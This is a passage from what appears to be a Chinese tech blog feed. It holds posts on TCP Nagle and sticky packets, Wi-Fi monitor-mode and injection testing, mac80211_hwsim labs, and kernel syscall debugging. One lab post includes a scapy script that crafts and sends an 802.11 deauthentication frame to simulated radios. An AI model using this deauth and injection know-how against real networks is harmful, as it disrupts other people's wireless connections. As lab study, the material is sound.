&lt;p&gt;接收端的TCP可能产生糊涂窗口综合症,如果它为消耗数据很慢的应用程序服务,例如,一次消耗一个字节.假定发送应用程序产生了1000字节的数据块,但接收应用程序每次只吸收1字节的数据.再假定接收端的TCP的输入缓存为4000字节.发送端先发送第一个4000字节的数据.接收端将它存储在其缓存中.现在缓存满了.它通知窗口大小为零,这表示发送端必须停止发送数据.接收应用程序从接收端的TCP的输入缓存中读取第一个字节的数据.在入缓存中现在有了1字节的空间.接收端的TCP宣布其窗口大小为1字节,这表示正渴望等待发送数据的发送端的TCP会把这个宣布当作一个好消息,并发送只包括一个字节数据的报文段.这样的过程一直继续下去.一个字节的数据被消耗掉,然后发送只包含一个字节数据的报文段.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;2-naglesuan-fa&quot;&gt;2,Nagle算法&lt;&#x2F;h1&gt;
&lt;p&gt;TCP&#x2F;IP协议中,无论发送多少数据,总是要在数据前面加上协议头,同时,对方接收到数据,也需要发送ACK表示确认.为了尽可能的利用网络带宽,TCP总是希望尽可能的发送足够大的数据.(一个连接会设置MSS参数,因此,TCP&#x2F;IP希望每次都能够以MSS尺寸的数据块来发送数据).Nagle算法就是为了尽可能发送大块数据,避免网络中充斥着许多小数据块.
Nagle算法的基本定义是任意时刻,最多只能有一个未被确认的小段.所谓&quot;小段&quot;,指的是小于MSS尺寸的数据块,所谓&quot;未被确认&quot;,是指一个数据块发送出去后,没有收到对方发送的ACK确认该数据已收到.&lt;&#x2F;p&gt;
&lt;p&gt;(1)Nagle算法的规则:
如果包长度达到MSS,则允许发送;
如果该包含有FIN,则允许发送;
设置了TCP_NODELAY选项,则允许发送;
未设置TCP_CORK选项时,若所有发出去的小数据包(包长度小于MSS)均被确认,则允许发送;
上述条件都未满足,但发生了超时(一般为200ms),则立即发送.
Nagle算法只允许一个未被ACK的包存在于网络,它并不管包的大小,因此它事实上就是一个扩展的停-等协议,只不过它是基于包停-等的,而不是基于字节停-等的.Nagle算法完全由TCP协议的ACK机制决定,这会带来一些问题,比如如果对端ACK回复很快的话,Nagle事实上不会拼接太多的数据包,虽然避免了网络拥塞,网络总体的利用率依然很低.另外,他是一个自适应的方法,读者可以自己按上述规则试验一下. (发送方是一收到ACK就检测发送缓冲区,有数据就进行发送,只有在收到ACK之前的时间内才会起到发送小包拼接的作用.)Nagle算法是糊涂窗口综合征预防算法的一个半集.SWS算法预防发送少量的数据,Nagle算法是其在发送方的实现,而接收方要做的时不要通告缓冲空间的很小增长,不通知小窗口,除非缓冲区空间有显著的增长.这里显著的增长定义为完全大小的段(MSS)或增长到大于最大窗口的一半.&lt;&#x2F;p&gt;
&lt;p&gt;(2)TCP_NODELEY选项
默认情况下,发送数据采用Negle 算法.这样虽然提高了网络吞吐量,但是实时性却降低了,在一些交互性很强的应用程序来说是不允许的,使用TCP_NODELAY选项可以禁止Nagle 算法.此时,应用程序向内核递交的每个数据包都会立即发送出去.需要注意的是,虽然禁止了Negale 算法,但网络的传输仍然受到TCP确认延迟机制的影响.&lt;&#x2F;p&gt;
&lt;p&gt;(3)TCP_CORK选项
另外一种解决糊涂窗口综合症的方法就是Cork算法.这个算法比Nagle算法更激进一些,干脆直接计算出一个值,当发送方的滑动窗口大小小于这个值的时候,不进行数据包的发送.这样这个算法就能有效直接杜绝小包的出现了.当然可能会导致数据有一定的延迟性了.所谓的CORK就是塞子的意思,形象地理解就是用CORK将连接塞住,使得数据先不发出去,等到拔去塞子后再发出去.设置该选项后,内核会尽力把小数据包拼接成一个大的数据包(一个MTU)再发送出去,当然若一定时间后(一般为200ms,该值尚待确认),内核仍然没有组合成一个MTU时也必须发送现有的数据(不可能让数据一直等待吧).
然而,TCP_CORK的实现可能并不像你想象的那么完美,CORK并不会将连接完全塞住.内核其实并不知道应用层到底什么时候会发送第二批数据用于和第一批数据拼接以达到MTU的大小,因此内核会给出一个时间限制,在该时间内没有拼接成一个大包(努力接近MTU)的话,内核就会无条件发送.也就是说若应用层程序发送小包数据的间隔不够短时,TCP_CORK就没有一点作用,反而失去了数据的实时性(每个小包数据都会延时一定时间再发送).&lt;&#x2F;p&gt;
&lt;p&gt;(4)Nagle算法与CORK算法区别
　　Nagle算法和CORK算法非常类似,但是它们的着眼点不一样,Nagle算法主要避免网络因为太多的小包(协议头的比例非常之大)而拥塞,而CORK算法则是为了提高网络的利用率,使得总体上协议头占用的比例尽可能的小.如此看来这二者在避免发送小包上是一致的,在用户控制的层面上,Nagle算法完全不受用户socket的控制,你只能简单的设置TCP_NODELAY而禁用它,CORK算法同样也是通过设置或者清除TCP_CORK使能或者禁用之,然而Nagle算法关心的是网络拥塞问题,只要所有的ACK回来则发包,而CORK算法却可以关心内容,在前后数据包发送间隔很短的前提下(很重要,否则内核会帮你将分散的包发出),即使你是分散发送多个小数据包,你也可以通过使能CORK算法将这些内容拼接在一个包内,如果此时用Nagle算法的话,则可能做不到这一点.&lt;&#x2F;p&gt;
&lt;p&gt;(5)延迟ACK
从接收方也有能力防止糊涂窗口综合症.延迟ACK算法就是接收方并不是收到请求之后立刻发送ACK,而是开启一个计时器,等到计时器结束的时候,才发送ACK.或者是接收方在需要回发送请求的时候,顺带着把上个请求的ACK发送回去了.这个机制如果配合Nagle算法,能让连接的滑动窗口达到一个预期的比较好的值.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;3-nian-bao-wen-ti&quot;&gt;3,粘包问题&lt;&#x2F;h1&gt;
&lt;p&gt;(1)粘包问题产生的原因
TCP是个&quot;流&quot;协议,所谓流,就是没有界限的一串数据.大家可以想想河里的流水,是连成一片的,其间是没有分界线的.但一般通讯程序开发是需要定义一个个相互独立的数据包的,比如用于登陆的数据包,用于注销的数据包.由于TCP&quot;流&quot;的特性以及网络状况,在进行数据传输时会出现以下几种情况.假设我们连续调用两次send分别发送两段数据data1和data2,在接收端有以下几种接收情况(当然不止这几种情况,这里只列出了有代表性的情况).&lt;&#x2F;p&gt;
&lt;p&gt;A.先接收到data1,然后接收到data2;
B.先接收到data1的部分数据,然后接收到data1余下的部分以及data2的全部;
C.先接收到了data1的全部数据和data2的部分数据,然后接收到了data2的余下的数据;
D.一次性接收到了data1和data2的全部数据;
对于A这种情况正是我们需要的,不再做讨论.对于B,C,D的情况就是大家经常说的&quot;粘包&quot;,就需要我们把接收到的数据进行拆包,拆成一个个独立的数据包.为了拆包就必须在发送端进行封包.另外对于UDP来说就不存在拆包的问题,因为UDP是个&quot;数据包&quot;协议,也就是两段数据间是有界限的,在接收端要么接收不到数据要么就是接收一个完整的一段数据,不会少接收也不会多接收.&lt;&#x2F;p&gt;
&lt;p&gt;为什么会出现B,C,D的情况?&quot;粘包&quot;可发生在发送端也可发生在接收端:&lt;&#x2F;p&gt;
&lt;p&gt;1)由Nagle算法造成的发送端的粘包:&lt;&#x2F;p&gt;
&lt;p&gt;发送方引起的粘包是由TCP协议本身造成的,TCP为提高传输效率,发送方往往要收集到足够多的数据后才发送一包数据.若连续几次发送的数据都很少,通常TCP会根据优化算法把这些数据合成一包后一次发送出去,这样接收方就收到了粘包数据.&lt;&#x2F;p&gt;
&lt;p&gt;2)接收端接收不及时造成的接收端粘包:&lt;&#x2F;p&gt;
&lt;p&gt;这是因为接收方先把收到的数据放在系统接收缓冲区,用户进程从该缓冲区取数据,若下一包数据到达时前一包数据尚未被用户进程取走,则下一包数据放到系统接收缓冲区时就接到前一包数据之后,而用户进程根据预先设定的缓冲区大小从系统接收缓冲区取数据,这样就一次取到了多包数据.&lt;&#x2F;p&gt;
&lt;p&gt;粘包情况有两种,一种是粘在一起的包都是完整的数据包,另一种情况是粘在一起的包有不完整的包.不是所有的粘包现象都需要处理,若传输的数据为不带结构的连续流数据(如文件传输),则不必把粘连的包分开(简称分包).但在实际工程应用中,传输的数据一般为带结构的数据,这时就需要做分包处理.在处理定长结构数据的粘包问题时,分包算法比较简单;在处理不定长结构数据的粘包问题时,分包算法就比较复杂.特别是粘在一起的包有不完整的包的粘包情况,由于一包数据内容被分在了两个连续的接收包中,处理起来难度较大.实际工程应用中应尽量避免出现粘包现象.&lt;&#x2F;p&gt;
&lt;p&gt;(2)哪些情况下不会出现粘包
1)如果利用tcp每次发送数据,就与对方建立连接,然后双方发送完一段数据后,就关闭连接,这样就不会出现粘包问题(因为只有一种包结构,类似于http协议).关闭连接主要要双方都发送close连接(参考tcp关闭协议).如:A需要发送一段字符串给B,那么A与B建立连接,然后发送双方都默认好的协议字符如&quot;hello give me sth abour yourself&quot;,然后B收到报文后,就将缓冲区数据接收,然后关闭连接,这样粘包问题不用考虑到,因为大家都知道是发送一段字符.&lt;&#x2F;p&gt;
&lt;p&gt;2)如果发送数据无结构,如文件传输,这样发送方只管发送,接收方只管接收存储就ok,也不用考虑粘包;&lt;&#x2F;p&gt;
&lt;p&gt;3)UDP不会出现粘包,因为它有消息边界,为什么呢?(参考)&lt;&#x2F;p&gt;
&lt;p&gt;TCP是一种流模式的协议,通过TCP连接给另一端发送数据,你只调用了一次 write,发送了100个字节,但是对方可以分10次收完,每次10个字节;你也可以调用10次write,每次10个字节,但是对方可以一次就收完.
UDP和TCP不同,UDP是一种数据报模式的协议,发送端调用了几次write,接收端必须用相同次数的read读完.UPD是基于报文的,在接收的时候,每次最多只能读取一个 报文,报文和报文是不会合并的,如果缓冲区小于报文长度,则多出的部分会被丢弃.也就说,如果不指定MSG_PEEK标志,每次读取操作将消耗一个报文.
这种不同是由TCP和UDP的特性决定的.TCP是面向连接的,也就是说,在连接持续的过程中,socket中收到的数据都是由同一台主机发出的,因此,知道保证数据是有序的到达就行了,至于每次读取多少数据自己看着办.而UDP是无连接的协议,也就是说,只要知道接收端的IP和端口,且网络是可达的,任何主机都可以向接收端发送数据.这时候,如果一次能读取超过一 个报文的数据,则会乱套.比如,主机A向发送了报文P1,主机B发送了报文P2,如果能够读取超过一个报文的数据,那么就会将P1和P2的数据合并在了一 起,这样的数据是没有意义的.
(3)如何解决粘包问题
1)为了避免粘包现象,可采取以下几种措施:&lt;&#x2F;p&gt;
&lt;p&gt;一是对于发送方引起的粘包现象,用户可通过编程设置来避免,TCP提供了强制数据立即传送的操作指令push,TCP软件收到该操作指令后,就立即将本段数据发送出去,而不必等待发送缓冲区满;
二是对于接收方引起的粘包,则可通过优化程序设计,精简接收进程工作量,提高接收进程优先级等措施,使其及时接收数据,从而尽量避免出现粘包现象;
三是由接收方控制,将一包数据按结构字段,人为控制分多次接收,然后合并,通过这种手段来避免粘包.
以上提到的三种措施,都有其不足之处:&lt;&#x2F;p&gt;
&lt;p&gt;第一种编程设置方法虽然可以避免发送方引起的粘包,但它关闭了优化算法,降低了网络发送效率,影响应用程序的性能,一般不建议使用:
第二种方法只能减少出现粘包的可能性,但并不能完全避免粘包,当发送频率较高时,或由于网络突发可能使某个时间段数据包到达接收方较快,接收方还是有可能来不及接收,从而导致粘包;
第三种方法虽然避免了粘包,但应用程序的效率较低,对实时应用的场合不适合.
2)封包和拆包(参考):&lt;&#x2F;p&gt;
&lt;p&gt;封包:封包就是给一段数据加上包头,这样一来数据包就分为包头和包体两部分内容了(以后讲过滤非法包时封包会加入&quot;包尾&quot;内容).包头其实上是个大小固定的结构体,其中有个结构体成员变量表示包体的长度,这是个很重要的变量,其他的结构体成员可根据需要自己定义.根据包头长度固定以及包头中含有包体长度的变量就能正确的拆分出一个完整的数据包.&lt;&#x2F;p&gt;
&lt;p&gt;拆包:对于拆包大概过程描述如下:&lt;&#x2F;p&gt;
&lt;p&gt;A,为每一个连接动态分配一个缓冲区,同时把此缓冲区和SOCKET关联,常用的是通过结构体关联.
B,当接收到数据时首先把此段数据存放在缓冲区中.
C,判断缓存区中的数据长度是否够一个包头的长度,如不够,则不进行拆包操作.
D,根据包头数据解析出里面代表包体长度的变量.
E,判断缓存区中除包头外的数据长度是否够一个包体的长度,如不够,则不进行拆包操作.
F,取出整个数据包.这里的&quot;取&quot;的意思是不光从缓冲区中拷贝出数据包,而且要把此数据包从缓存区中删除掉.删除的办法就是把此包后面的数据移动到缓冲区的起始地址.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>wifi_fuzz</title>
        <published>2023-11-27T15:34:46+08:00</published>
        <updated>2023-11-27T15:34:46+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/11/wifi-fuzz/"/>
        <id>https://vercel.juzhong.asia/2023/11/wifi-fuzz/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/11/wifi-fuzz/">&lt;h1 id=&quot;wifi-fuzz&quot;&gt;wifi_fuzz&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;iw dev wlan0 info
iw dev wlan0 link
iw dev mon0 set freq 2437
airmon-ng start wlan0 6     # channel 6
sudo airodump-ng --bssid 6C:72:20:5D:7F:57 -C 5180-5885 wlan0mon
sudo iw wlx001d432018d4 set type monitor
sudo iw wlx001d432018d4 set channel 48     # 需要wlan up后操作？？
sudo iwconfig wlx001d432018d4 channel 48
sudo ip link set wlx001d432018d4 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#### 使用python项目测试网卡注入能力
git clone https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;vanhoefm&amp;#x2F;wifi-injection.git
su  # 切换root
cd .&amp;#x2F;wifi-injection&amp;#x2F;
apt install -y git macchanger net-tools virtualenv rfkill python3.11-venv
.&amp;#x2F;pysetup.sh
git submodule init
git submodule update
source venv&amp;#x2F;bin&amp;#x2F;activate

# 测试脚本注入
sudo su
source venv&amp;#x2F;bin&amp;#x2F;activate
.&amp;#x2F;test-injection.py wlan0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;example&quot; class=&quot;language-example &quot;&gt;&lt;code class=&quot;language-example&quot; data-lang=&quot;example&quot;&gt;# 4. 802.11n：（2009 年）使用 2.4GHz 和 5GHz 频段，最高速度为 600Mb&amp;#x2F;s，采用 MIMO 技术提高信号质量和覆盖范围。
# 5. 802.11ac：（2013 年）使用 5GHz 频段，最高速度为 6.9Gb&amp;#x2F;s，采用 MU-MIMO 技术提高多设备连接效率。
# 6. 802.11ad：使用 60GHz 频段，最高速度为 7Gb&amp;#x2F;s，适用于高带宽、低延迟的应用程序。
# 7. 802.11af：使用 54-790MHz 频段，适用于低功耗、长距离的物联网应用。
# 8. 802.11ah：使用 0.9-1.17GHz 频段，适用于低功耗、长距离的物联网应用。
# 9. 802.11ax（Wi-Fi 6）：使用 2.4GHz 和 5GHz 频段，最高速度为 9.6Gb&amp;#x2F;s，采用 OFDMA 技术提高多设备连接的效率和信号质量。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>80211_hwsim</title>
        <published>2023-11-26T20:50:49+08:00</published>
        <updated>2023-11-26T20:50:49+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/11/80211-hwsim/"/>
        <id>https://vercel.juzhong.asia/2023/11/80211-hwsim/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/11/80211-hwsim/">&lt;h1 id=&quot;80211-hwsim&quot;&gt;80211_hwsim&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Build mac80211_hwsim as part of kernel configuration
# Load the module
modprobe mac80211_hwsim
# Run hostapd (AP) for wlan0
hostapd hostapd.conf
# Run wpa_supplicant (station) for wlan1
wpa_supplicant -Dnl80211 -iwlan1 -c wpa_supplicant.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;modprobe -r mac80211_hwsim
modprobe mac80211_hwsim radios=2

# Launch in background, write logs to file instead of stdout
hostapd -B -f hostapd.log -i wlan0 hostapd.conf
# Set IP @ first (otherwise dhcpd will frown and just exit)
ip addr add 192.168.42.1&amp;#x2F;24 dev wlan0
# Launch in background is implicit
dhcpd -cf dhcpd.conf wlan0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Launch in background, write logs to file instead of stdout
wpa_supplicant -B -c wpa_supplicant.conf -f wpa_supplicant.log -i wlan1

# Get ourselves a fresh IP @, and go into background once the lease has been obtained
dhclient -4 wlan1
# Note: you may get the following warning message; do not worry, it does not mean
# you could not get an IP @
# cat: can&amp;#x27;t open &amp;#x27;&amp;#x2F;etc&amp;#x2F;resolv.conf.*&amp;#x27;: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Record every function call in the kernel, for the whole duration of the command
trace-cmd record -p function iw dev wlan1 set channel 8
#   plugin &amp;#x27;function&amp;#x27;
# CPU0 data recorded at offset=0x182000
#     208896 bytes in size
trace-cmd record -p function -l &amp;#x27;*80211*&amp;#x27; iw dev wlan1 set channel 8
trace-cmd report
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;gt; .&amp;#x2F;send_deauth_pkt.py &amp;lt;&amp;lt;EOF
#! &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python3

from scapy.all import *

pkt = Dot11(addr1=&amp;#x27;02:00:00:00:00:00&amp;#x27;, addr2=&amp;#x27;02:00:00:00:01:00&amp;#x27;) &amp;#x2F; Dot11Deauth(reason=8)
print(&amp;quot;Sending the following packet:&amp;quot;)
pkt.show()
sendp(pkt, count=1, iface=&amp;#x27;wlan1&amp;#x27;)
EOF
trace-cmd record -p function -l &amp;#x27;*80211*&amp;#x27; .&amp;#x2F;send_deauth_pkt.py
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;hostapd-pei-zhi&quot;&gt;hostapd 配置&lt;&#x2F;h2&gt;
&lt;p&gt;##ssid：别人所看到的无线接入点的名称；
##hw_mode：指定802.11协议，其中 a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g；
##channel：设定无线频道；
##interface：接入点设备名称，注意不要包含ap后缀，即如果该设备称为wlan0ap，填写wlan0即可；
##bridge：指定所处网桥；
##driver：设定无线驱动；
##macaddr_acl：可选，指定MAC地址过滤规则，0表示除非在禁止列表否则允许，1表示除非在允许列表否则禁止，2表示使用外部RADIUS服务器；
##accept_mac_file：指定允许MAC列表文件所在；
##deny_mac_file：指定禁止MAC列表文件所在；&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;gt; .&amp;#x2F;hostapd.conf &amp;lt;&amp;lt;EOF
ssid=test
hw_mode=g
channel=10
interface=wlan0
bridge=br0
driver=nl80211
ignore_broadcast_ssid=0
macaddr_acl=0
accept_mac_file=&amp;#x2F;etc&amp;#x2F;hostapd.accept
deny_mac_file=&amp;#x2F;etc&amp;#x2F;hostapd.deny
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>深入理解系统调用</title>
        <published>2023-10-25T14:56:50+08:00</published>
        <updated>2023-10-25T14:56:50+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2023/10/深入理解系统调用/"/>
        <id>https://vercel.juzhong.asia/2023/10/深入理解系统调用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2023/10/深入理解系统调用/">&lt;h1 id=&quot;shen-ru-li-jie-xi-tong-diao-yong&quot;&gt;深入理解系统调用&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;xi-tong-diao-yong-xiang-guan-zhi-shi&quot;&gt;系统调用相关知识&lt;&#x2F;h1&gt;
&lt;p&gt;系统调用（system call）利用陷阱（trap），是异常（Exception）的一种，从用户态进⼊内核态。
系统调用具有以下功能和特性：
把用户从底层的硬件编程中解放出来。操作系统为我们管理硬件，⽤户态进程不用直接与硬件设备打交道。
极⼤地提高系统的安全性。如果用户态进程直接与硬件设备打交道，会产⽣安全隐患，可能引起系统崩溃。
使用户程序具有可移植性。用户程序与具体的硬件已经解耦合并用接⼝（api）代替了，不会有紧密的关系，便于在不同系统间移植。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2023&#x2F;10&#x2F;%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8&#x2F;syscalls-20231220190830-ped9g5v.png&quot; alt=&quot;系统调用&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;inuxshang-de-xi-tong-diao-yong-shi-xian-yuan-li&quot;&gt;inux上的系统调用实现原理&lt;&#x2F;h1&gt;
&lt;p&gt;要想实现系统调用，主要实现以下几个方面：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通知内核调用一个哪个系统调用&lt;&#x2F;li&gt;
&lt;li&gt;用户程序把系统调用的参数传递给内核&lt;&#x2F;li&gt;
&lt;li&gt;用户程序获取内核返回的系统调用返回值&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;tong-zhi-nei-he-diao-yong-yi-ge-na-ge-xi-tong-diao-yong&quot;&gt;通知内核调用一个哪个系统调用&lt;&#x2F;h2&gt;
&lt;p&gt;每个系统调用都有一个系统调用号，系统调用发生时，内核就是根据传入的系统调用号来知道是哪个系统调用的。
在x86架构中，用户空间将系统调用号是放在eax中的，系统调用处理程序通过eax取得系统调用号。
系统调用号定义在内核代码：arch&#x2F;x86&#x2F;include&#x2F;asm&#x2F;unistd.h 中，可以看出linux的系统调用不是很多。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-hu-cheng-xu-ba-xi-tong-diao-yong-de-can-shu-chuan-di-gei-nei-he&quot;&gt;用户程序把系统调用的参数传递给内核&lt;&#x2F;h2&gt;
&lt;p&gt;系统调用的参数也是通过寄存器传给内核的，在x86系统上，系统调用的前5个参数放在ebx,ecx,edx,esi和edi中，如果参数多的话，还需要用个单独的寄存器存放指向所有参数在用户空间地址的指针。
一般的系统调用都是通过C库(最常用的是glibc库)来访问的，Linux内核提供一个从用户程序直接访问系统调用的方法。
参见内核代码：
sysdeps&#x2F;unix&#x2F;sysv&#x2F;linux&#x2F;x86_64&#x2F;sysdep.h
arch&#x2F;x86&#x2F;include&#x2F;asm&#x2F;unistd.h :
里面定义了6个宏，分别可以调用参数个数为0～6的系统调用&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;syscall0(type,name)
_syscall1(type,name,type1,arg1)
_syscall2(type,name,type1,arg1,type2,arg2)
_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4)
_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5)
_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5,type6,arg6)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;超过6个参数的系统调用很罕见，所以这里只定义了6个。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yong-hu-cheng-xu-huo-qu-nei-he-fan-hui-de-xi-tong-diao-yong-fan-hui-zhi&quot;&gt;用户程序获取内核返回的系统调用返回值&lt;&#x2F;h2&gt;
&lt;p&gt;获取系统调用的返回值也是通过寄存器，在x86系统上，返回值放在eax中。
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2023&#x2F;10&#x2F;%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8&#x2F;syscall-table-20231220190830-qw90vwn.png&quot; alt=&quot;syscall-table&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;shi-yan-huan-jing-zhun-bei&quot;&gt;实验环境准备&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install build-essential \
 qemu qemu-system-x86 \
 libncurses5-dev bison flex libssl-dev libelf-dev \
 axel 

axel -n 20 https:&amp;#x2F;&amp;#x2F;mirrors.edge.kernel.org&amp;#x2F;pub&amp;#x2F;linux&amp;#x2F;kernel&amp;#x2F;v5.x&amp;#x2F;linux-5.4.34.tar.xz
xz -d linux-5.4.34.tar.xz
tar -xvf linux-5.4.34.tar 

cd linux-5.4.34
make defconfig  #默认配置基于&amp;#x27;x86_64_defconfig&amp;#x27;
make menuconfig

#打开debug相关选项
Kernel hacking ---&amp;gt;
    Compile-time checks and compiler options ---&amp;gt;
        [*] Compile the kernel with debug info
        [*] Provide GDB scripts for kernel debugging  [*] Kernel debugging

#关闭KASLR，否则会导致打断点失败
Processor type and features ----&amp;gt;
    [] Randomize the address of the kernel image (KASLR)
#KASLR让加载到内核时是随机一个地址，如果加载内核一直同一个地址，容易被黑客攻击,这里为了实验方便，把它关闭。

make -j$(nproc)  #编译内核，需要几分钟的时间
#测试一下，不能正常加载运行
qemu-system-x86_64 -kernel arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;bzImage  &amp;#x2F;&amp;#x2F;在没有xwindow的情况下运行qemu 需要使用 -display curses


axel -n 20 https:&amp;#x2F;&amp;#x2F;busybox.net&amp;#x2F;downloads&amp;#x2F;busybox-1.31.1.tar.bz2
tar -jxvf busybox-1.31.1.tar.bz2
cd busybox-1.31.1

make menuconfig
&amp;#x2F;*
记得要编译成静态链接，不用动态链接库。
Settings ---&amp;gt;
    [*] Build static binary (no shared libs)    

然后编译安装，默认会安装到源码目录下的 _install 目录中。
*&amp;#x2F;
make -j$(nproc) &amp;amp;&amp;amp; make install

mkdir rootfs
cd rootfs
cp ..&amp;#x2F;busybox-1.31.1&amp;#x2F;_install&amp;#x2F;* .&amp;#x2F; -rf
mkdir dev proc sys home
sudo cp -a &amp;#x2F;dev&amp;#x2F;{null,console,tty,tty1,tty2,tty3,tty4} dev&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;initjiao-ben&quot;&gt;init脚本&lt;&#x2F;h2&gt;
&lt;p&gt;准备init脚本文件放在根文件系统目录下(rootfs&#x2F;init)，添加如下内容到init文件：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;sh
mount -t proc none &amp;#x2F;proc 
mount -t sysfs none &amp;#x2F;sys
echo &amp;quot;Welcome to test-OS!&amp;quot; 
echo &amp;quot;--------------------&amp;quot;
cd home
&amp;#x2F;bin&amp;#x2F;sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;chmod +x init
find . -print0 | cpio --null -ov --format=newc | gzip -9 &amp;gt; ..&amp;#x2F;rootfs.cpio.gz
cd ..&amp;#x2F;   #一定要返回到上一级，因为rootfs.cpio.gz在上一级
qemu-system-x86_64 -kernel ~&amp;#x2F;linux-5.4.34&amp;#x2F;arch&amp;#x2F;x86&amp;#x2F;boot&amp;#x2F;bzImage -initrd rootfs.cpio.gz &amp;#x2F;&amp;#x2F;在没有xwindow的情况下运行qemu 需要使用 -display curses 

qemu-system-x86_64的参数比较多，这里简单说下： 　　
-kernel是指定一个大内核文件，当仁不让的是bzImage。 　　
-initrd是指定一个 initrd.img文件，这个文件就是我们使用busybox生成的initramfs.img。 　　
-smp可以从名字猜想，它是给qemu指定几个处理器，或者是几个线程&amp;lt;嗯，大概意思就thread吧&amp;gt;。
-gdb则是启动qemu的内嵌gdbserver，监听的是本地tcp端口1234—如果这样写： -gdb tcp:192.168.1.100:1234 ，似乎也是没问题的。　
-S 就是挂起gdbserver，让gdb remote connect it。 　　
-s 默认使用1234端口进行远程调试，和-gdb tcp::1234类似。 　　
-m 2048指定内存大小为2048M
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qemu-gdbdiao-shi-nei-he&quot;&gt;QEMU+GDB调试内核&lt;&#x2F;h1&gt;
